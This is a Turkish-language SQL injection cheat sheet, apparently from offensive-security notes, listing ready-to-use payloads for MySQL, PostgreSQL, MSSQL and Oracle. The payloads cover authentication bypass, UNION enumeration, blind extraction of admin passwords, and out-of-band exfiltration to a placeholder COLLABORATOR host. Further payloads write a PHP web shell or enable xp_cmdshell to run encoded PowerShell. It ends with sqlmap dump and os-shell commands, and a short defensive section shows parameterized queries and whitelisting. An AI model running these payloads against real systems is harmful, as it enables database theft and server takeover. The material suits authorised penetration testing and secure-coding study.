SQL Injection

SQL Injection Nedir?

SQL enjeksiyonu (SQLi), bir saldırganın bir uygulamanın veritabanına yaptığı sorgulara müdahale etmesine olanak tanıyan bir web güvenlik açığıdır. Bu, bir saldırganın normalde elde edemeyeceği verileri görüntülemesine izin verebilir. Bu veriler, diğer kullanıcılara ait verileri veya uygulamanın erişebileceği diğer herhangi bir veriyi içerebilir. Birçok durumda, bir saldırgan bu verileri değiştirebilir veya silebilir, uygulamanın içeriğinde veya davranışında kalıcı değişiklikler yapabilir.

Bazı durumlarda, bir saldırgan SQL enjeksiyonu saldırısını yükselterek altta yatan sunucuyu veya diğer arka uç altyapısını tehlikeye atabilir. Bu aynı zamanda saldırganın hizmet reddi (denial-of-service) saldırıları gerçekleştirmesine de olanak tanıyabilir.

Yöntemler

Kontrol

' OR 1=1-- -

Authentication Bypass

admin'-- -
password' OR 1=1-- -

Column Sayısını Bulma

# MySQL PostgreSQL MsSQL
UNION SELECT NULL-- -
UNION SELECT NULL,NULL-- -
UNION SELECT NULL,NULL,NULL-- -

# Oracle
UNION SELECT NULL FROM dual-- -
UNION SELECT NULL,NULL FROM dual-- -
UNION SELECT NULL,NULL,NULL FROM dual-- -

DB Versiyon

# MySQL MsSQL
UNION SELECT @@version-- -

#PostgreSQL
UNION SELECT version()-- -

# Oracle
UNION SELECT banner FROM v$version-- -

Content Listing

# MySQL MsSQL PostgreSQL 
UNION SELECT table_name FROM information_schema.tables-- -
UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'-- -
UNION SELECT password FROM users-- -

# Oracle
UNION SELECT table_name FROM all_tables-- -
UNION SELECT column_name FROM all_tab_columns WHERE table_name='users'-- -
UNION SELECT password FROM users-- -

String Concat

# MYSQL
UNION SELECT username password FROM users-- -
UNION SELECT CONCAT(username,password) FROM users-- -

# Oracle PostgreSQL
UNION SELECT username||'~'||password FROM users-- -

# MSSQL
UNION SELECT username+'~'+password FROM users-- -

Visible Error Based SQLi

# MySQL
AND (SELECT 'a' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT password FROM users LIMIT 1))))-- -

# PostgreSQL
AND CAST((SELECT password FROM users LIMIT 1) AS int)=1-- -

# MsSQL
AND (SELECT 'a' WHERE 1=(SELECT TOP 1 password FROM users))='a'-- -

Blind SQLi Mantıksal Yanıtlar

AND 1=1-- -
AND 1=2-- -

# MySQL PostgreSQL
AND (SELECT 'a' FROM users LIMIT 1)='a'-- -
# MsSQL
AND (SELECT TOP 1 'a' FROM users)='a'-- -
# Oracle
AND (SELECT 'a' FROM users WHERE ROWNUM = 1)='a'-- -


# MySQL MsSQL PostgreSQL
AND (SELECT 'a' FROM users WHERE username='administrator')='a'-- -
AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='p'-- -
AND (SELECT SUBSTRING(password,1,2) FROM users WHERE username='admin')='pa'-- -

# Oracle
AND (SELECT SUBSTR(password,1,1) FROM users WHERE username='admin')='p'-- -
AND (SELECT SUBSTR(password,1,2) FROM users WHERE username='admin')='pa'-- -

Blind SQLi Mantıksal Hatalar

# MySQL PostgreSQL MsSQL
AND (SELECT 'a')='a'-- -
# Oracle
AND (SELECT 'a' FROM dual)='a'-- -


# Tablo bulma
# MySQL PostgreSQL
AND (SELECT 'a' from users LIMIT 1)='a'-- -
# MsSQL
AND (SELECT TOP 1 'a' from users)='a'-- -
# Oracle
AND (SELECT 'a' from users ROWNUM=1)='a'-- -


# Oracle
AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual)='a'-- -
# MsSQL
AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a'-- -
# PostgreSQL
AND (SELECT CASE WHEN (1=1) THEN 1/(SELECT 0) ELSE 'a' END)='a'-- -
# MySQL
AND (SELECT IF(1=1,(SELECT table_name FROM information_schema.tables),'a'))='a'-- -


# Oracle
AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='admin')='a'-- -
# MsSQL
AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END FROM users WHERE username='admin')='a'-- -
# PostgreSQL
AND (SELECT CASE WHEN (1=1) THEN 1/(SELECT 0) ELSE 'a' END FROM users WHERE username='admin')='a'-- -
# MySQL
AND (SELECT IF(1=1,(SELECT table_name FROM information_schema.tables),'a') FROM users WHERE username='admin')='a'-- -


# Oracle
AND (SELECT CASE WHEN SUBSTR(password,1,1)='p' THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='admin')='a'-- -
# PostgreSQL
AND (SELECT CASE WHEN SUBSTRING(password,1,1)='p' THEN 1/(SELECT 0) ELSE 'a' END FROM users WHERE username='admin')='a'-- -
# MsSQL
AND (SELECT CASE WHEN SUBSTRING(password,1,1)='p' THEN 1/0 ELSE 'a' END FROM users WHERE username='admin')='a'-- -
# MySQL
AND (SELECT IF(SUBSTRING(password,1,1)='p',(SELECT table_name FROM information_schema.tables),'a') FROM users WHERE username='admin')='a'-- -

Blind Time Based SQLi

# PostgreSQL
||pg_sleep(10)-- -
# MySQL
AND (SELECT SLEEP(10))-- -
# MsSQL
WAITFOR DELAY '0:0:10'-- -
# Oracle
||(SELECT dbms_pipe.receive_message(('a'),10))-- -


# PostgreSQL
||(SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END)-- -
# MySQL
AND (SELECT IF(1=1,SLEEP(10),'a'))-- -
# MsSQL
IF (1=1) WAITFOR DELAY '0:0:10'-- -
# Oracle
||(SELECT CASE WHEN (1=1) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE 'a' END FROM dual)-- -



# PostgreSQL
||(SELECT CASE WHEN SUBSTRING(password,1,1)='p' THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='admin')-- -
# MySQL
AND (SELECT IF(SUBSTRING(password,1,1)='p',SLEEP(10),'a') FROM users WHERE username='admin')-- -
# MsSQL
IF (SELECT COUNT(*) FROM EMPLOYEE WHERE SUBSTRING(password, 1, 1) = 'p' AND username='admin')=1 WAITFOR DELAY '00:00:10'-- -
# Oracle
||(SELECT CASE WHEN (SUBSTR(password,1,1)='p') THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE 'a' END FROM users WHERE username='admin')-- -

DNS Lookup

# PostgreSQL
copy (SELECT 'a') to program 'nslookup COLLABORATOR'-- -
# MySQL
LOAD_FILE('\\\\COLLABORATOR\\a')-- -
SELECT 'a' INTO OUTFILE '\\\\COLLABORATOR\a'-- -
# MSSQL
exec master..xp_dirtree '//COLLABORATOR/a'-- -
# Oracle
UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://COLLABORATOR/"> %remote;]>'),'/l') FROM dual-- -
UNION SELECT UTL_INADDR.get_host_address('COLLABORATOR')-- -


# PostgreSQL
create OR replace function f() returns void as $$ declare c text;declare p text;begin SELECT into p (SELECT 'a');c := 'copy (SELECT '''') to program ''nslookup '||p||'.COLLABORATOR''';execute c;END;$$ language plpgsql security definer;SELECT f();
# MySQL
SELECT 'a' INTO OUTFILE '\\\\COLLABORATOR\a'
# MSSQL
declare @p varchar(1024);set @p=(SELECT 'a');exec('master..xp_dirtree "//'+@p+'.COLLABORATOR/a"')
# Oracle
UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT 'a')||'.COLLABORATOR/"> %remote;]>'),'/l') FROM dual

RCE

Eğer veritabanın diske yazma yetkisi varsa sunucuya bir shell dosyası atabiliriz.

# Mysql
UNION SELECT "<?php system($_GET['cmd']);?>", null, null INTO OUTFILE "/var/www/html/tmp/webshell.php"-- -

# MSSQL
UNION SELECT NULL,NULL;EXECUTE sp_configure 'show advanced options', 1;-- -
UNION SELECT NULL,NULL;RECONFIGURE;-- -
UNION SELECT NULL,NULL;EXECUTE sp_configure 'xp_cmdshell', 1;-- -
UNION SELECT NULL,NULL;EXECUTE xp_cmdshell 'powershell -e base64';-- -

SQL Injection Nasıl Önlenir 🛡️

Parametrelendirilmiş Sorgular

Sorgu içinde birleştirme yerine parametrelendirilmiş sorgular kullanarak SQL Injection saldırılarının çoğunu önleyebilirsiniz.

Bu yöntemi çalışma mantığı gereği sadece WHERE, INSERT veya UPDATE kısımlarında kullanabilirsiniz. Eğer tablo adı, sütun adı veya ORDER BY gibi ifadelerde kullanıyorsanız bir sonraki yöntem işe yarayabilir.

<?php
$conn = mysqli_connect('localhost', 'username', 'password', 'mydatabase');

$username = $_GET['username'];
$password = $_GET['password'];

// Burada görüldüğü üzere kullanıcı girdileri doğrudan sorguya yazılmış
// Bu yüzden SQLi zafiyeti oluyor
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";

$result = mysqli_query($conn, $sql);

mysqli_close($conn);
?>
<?php
$pdo = new PDO('mysql:host=localhost;dbname=mydatabase', 'username', 'password');

$username = $_GET['username'];
$password = $_GET['password'];

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");

// Burada ise kullanıcı girdileri parametreleştirilmiş
// Böylece zafiyet oluşmuyor
$stmt->execute([$username, $password]);
$user = $stmt->fetch();
?>

Whitelisting

Eğer parametrelendirme işe yaramıyor ise kullanıcı girdisine whitelisting uygulanabilir.

<?php
$allowed_categories = array("electronics", "clothing", "books");

$category = $_GET['category'];

if (in_array($category, $allowed_categories)) {
    $pdo = new PDO('mysql:host=localhost;dbname=mydatabase', 'username', 'password');
    $stmt = $pdo->prepare("SELECT * FROM $category");
    $stmt->execute();
    $products = $stmt->fetchAll(PDO::FETCH_ASSOC);
}
?>

Araçlar

SQLMap

sqlmap -u https://example.com
sqlmap -r req.txt

sqlmap -r req.txt --dbs
sqlmap -r req.txt -D <DB> --tables
sqlmap -r req.txt -D <DB> -T <TABLE> --dump
sqlmap -r req.txt --os-shell

# Sadece belirtilen parametreyi tarar
sqlmap -r req.txt -p keyword
# Zorunlu https kullanır (302 Redirect veriyorsa ise yarar)
sqlmap -r req.txt --force-ssl
# Eski taramalari gormezden gel
sqlmap -r req.txt --flush-session
# Random User agent
sqlmap -r req.txt --random-agent
# Soru sorma
sqlmap -r req.txt --batch
# Thread arttir
sqlmap -r req.txt --threads=10
# Risk ve tarama seviyesi
sqlmap -r req.txt --level 5 --risk 3
# Sadece tek veritabani tipi icin saldiri dener
sqlmap -r req.txt --dbms <DBMS>
# Sadece belirtilen teknikleri dener
sqlmap -r req.txt -technique=BEUSTQ
# B: Boolean-based blind
# E: Error-based
# U: Union query-based
# S: Stacked queries
# T: Time-based blind
# Q: Inline queries

Burp Suite Active Scan

OOB için Servisler

Kaynaklar

Last updated